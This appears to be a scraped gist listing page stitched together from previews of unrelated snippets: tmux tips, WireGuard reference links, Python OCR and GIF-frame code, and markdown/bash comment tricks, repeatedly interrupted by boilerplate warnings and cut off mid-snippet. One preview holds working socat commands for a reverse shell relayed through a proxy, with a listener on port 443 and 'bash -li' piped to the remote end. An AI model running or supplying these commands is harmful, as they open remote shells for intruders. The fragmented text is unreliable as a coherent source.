As answers to this Stack Overflow question
reveal, using <!---
and --->
or <!--
and -->
works (view source by clicking "Raw"):
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
see also: https://gist.github.com/andreyvit/2921703 | |
https://bezhermoso.github.io/til/move-a-tmux-pane-from-one-window-to-another/ | |
ctrl-b ! ; ctrl-b :join-pane -t 2.0 | |
https://unix.stackexchange.com/questions/268386/how-to-change-default-new-window-directory-from-within-the-tmux | |
ctrl-b :attach -c /path |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### sources : | |
### https://jonathanhamberg.com/post/2018-10-17-wireguard-behind-nat/ | |
### https://github.com/pirate/wireguard-docs#NAT-to-NAT-Connections | |
### https://github.com/pirate/wireguard-docs#Config-Creation | |
### https://github.com/pirate/wireguard-docs | |
### https://try.popho.be/wg.html | |
### https://wiki.archlinux.org/index.php/WireGuard#Persistent_configuration | |
### https://www.wireguard.com/quickstart/ | |
## wg0.conf on laptop |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Listener on x.x.x.x:443: | |
socat file:`tty`,raw,echo=0 tcp-listen:443 | |
# Reverse shell proxy server is at 10.10.10.1:8222: | |
socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 & | |
socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x" |
(
: '
This text is a comment in both markdown and bash.
Note that we cant use # here because markdown tries to display it as a header - unless it starts with
#!, shebang. Instead we can use the bash no-op command ":" which is an alias for the bash command "true" -- see "man true".
truejust returns true and ignores the arguments so we can pass whatever we like. How this comment block works: in bash, [ ] wraps a
testcommand -- see
man test`.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
a |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from PIL import Image | |
from cStringIO import StringIO | |
import requests | |
import pyocr | |
tools = pyocr.get_available_tools() | |
tool = tools[0] | |
print(tool.get_available_languages()) | |
url = 'http://i.imgur.com/1WpmXbo.jpg' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
from PIL import Image | |
''' | |
I searched high and low for solutions to the "extract animated GIF frames in Python" | |
problem, and after much trial and error came up with the following solution based | |
on several partial examples around the web (mostly Stack Overflow). | |
There are two pitfalls that aren't often mentioned when dealing with animated GIFs - |
As configured in my dotfiles.
start new:
tmux
start new with session name:
NewerOlder